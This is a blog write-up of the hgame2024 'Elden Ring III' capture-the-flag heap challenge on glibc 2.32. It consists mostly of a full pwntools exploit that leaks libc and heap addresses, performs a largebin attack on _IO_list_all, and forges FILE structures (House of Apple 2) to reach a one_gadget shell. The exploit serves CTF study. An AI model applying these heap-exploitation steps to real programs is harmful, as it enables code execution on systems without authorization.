hgame2024 week3 - Elden Ring III

RocketDev

write some large notes

文件属性

属性 值
Arch x64
RELRO Full
Canary on
NX on
PIE on
strip no

解题思路

glibc 2.32
反编译发现只能分配large bin,那就干脆学一下Largebin attack和House of Apple吧, 以后打高版本libc都要用到

我会在参考一栏列出优质的博客,没有它们,我不能做出这题!还有就是在打Apple的时候, 要想进入overflow分支,还需要伪造的IO_FILE里_IO_write_ptr > _IO_write_base

另,自glibc 2.38开始,调用链发生变化,_IO_flush_all_lockp已更名为_IO_flush_all, 但是apple2仍然能打,不影响

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'

def payload(lo:int):
global sh
if lo:
sh = process('./eldering3')
if lo & 2:
gdb.attach(sh, gdbscript='b show_note')
else:
sh = remote('139.196.183.57', 30273)
libc = ELF('eldering3s/libc.so.6')
elf = ELF('eldering')

def addn(idx:int, size:int):
sh.sendlineafter(b'>', b'1')
sh.sendlineafter(b'Index', str(idx).encode())
sh.sendlineafter(b'Size', str(size).encode())

def deln(idx:int):
sh.sendlineafter(b'>', b'2')
sh.sendlineafter(b'Index', str(idx).encode())

def edit(idx:int, content:bytes):
sh.sendlineafter(b'>', b'3')
sh.sendlineafter(b'Index', str(idx).encode())
sh.sendafter(b'Content', content)

def show(idx:int) -> bytes:
sh.sendlineafter(b'>', b'4')
sh.sendlineafter(b'Index: ', str(idx).encode())
return sh.recv(7)

def withdraw(): # quit and exit is Python builtin functions
sh.sendlineafter(b'>', b'5')

# leak libc and heap
addn(0, 0x600)
addn(1, 0x600) # guard chunk (prevent consolidating)
addn(2, 0x600)
addn(3, 0x600) # guard chunk
deln(0) # fd is around libc in Unsorted bin
edit(0, b'\n') # 1st char is 0, so we had to make the address leak-able
ret = show(0)
ret = b'\0' + ret[1:6]
edit(0, b'\0') # restore original value
deln(2) # fd of chunk 2 is chunk 0
heap = show(2)
deln(3)
deln(1) # restore empty heap

dumpArena = libc.symbols['__malloc_hook'] + (libc.symbols['__malloc_hook'] - libc.symbols['__realloc_hook']) * 2
mainArena = u64(ret[:6] + b'\0\0') - 0x60 # sub unsorted bin offset
libcBase = mainArena - dumpArena
success(f'\x1b[33mleak libcBase: {hex(libcBase)}\x1b[0m')
ioListAll = libcBase + libc.symbols['_IO_list_all']
wfileJumps = libcBase + libc.symbols['_IO_wfile_jumps']

heapBase = u64(heap[:6] + b'\0\0') - 0x290
success(f'\x1b[33mleak heapBase: {hex(heapBase)}\x1b[0m')

# large bin attack
fd = bk = libcBase + dumpArena + 0x4d0
fdNext = heapBase + 0x290 # original values
bkNext = ioListAll - 0x20 # write chunk 1 addr on _IO_list_all
addn(0, 0x620)
addn(15, 0x508) # guard chunk
addn(1, 0x610)
addn(14, 0x508) # guard chunk
deln(0) # now in unsorted bin
addn(2, 0x630) # put chunk 0 in large bin
deln(1) # now in unsorted bin
edit(0, p64(fd) + p64(bk) + p64(fdNext) + p64(bkNext))
addn(13, 0x630) # put chunk 1 in large bin, trigger arbitrary write

# house of apple 2
forceChunk = heapBase + 0xdd0 # & chunk 1.prev_size
fakeFile = FileStructure() # _flags = 0, _IO_read_ptr = 0x621
fakeFile.vtable = wfileJumps
fakeFile._IO_write_ptr = 1
fakeFile._wide_data = forceChunk + 0xe0
# fakeFile._lock = lock
fakeWideData = b'\0'*0xe0 + p64(forceChunk + 0xe0 + 0xe8) # 0xe0 bytes of 0 and _wide_vtable
oneGadget = libcBase + 0xdf54f
fakeWfileJumpTable = b'\0'*0x68 + p64(oneGadget) # 0x68 bytes of 0 and __do_allocate
# note that _flags and _IO_read_ptr is filled by chunk structure,
# so we need to exclude them to keep the correct alignment
edit(1, bytes(fakeFile)[16:] + fakeWideData + fakeWfileJumpTable)

withdraw()
sh.clean()
sh.interactive()

参考

  1. Largebin Attack典例
  2. House of Apple 2官方示例
  3. House of Apple 2实操&调用链
  • 标题: hgame2024 week3 - Elden Ring III
  • 作者: RocketDev
  • 创建于 : 2024-02-22 19:25:00
  • 更新于 : 2024-08-26 17:18:00
  • 链接: https://rocketma.dev/2024/02/22/W3_EldenRingIII/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
hgame2024 week3 - Elden Ring III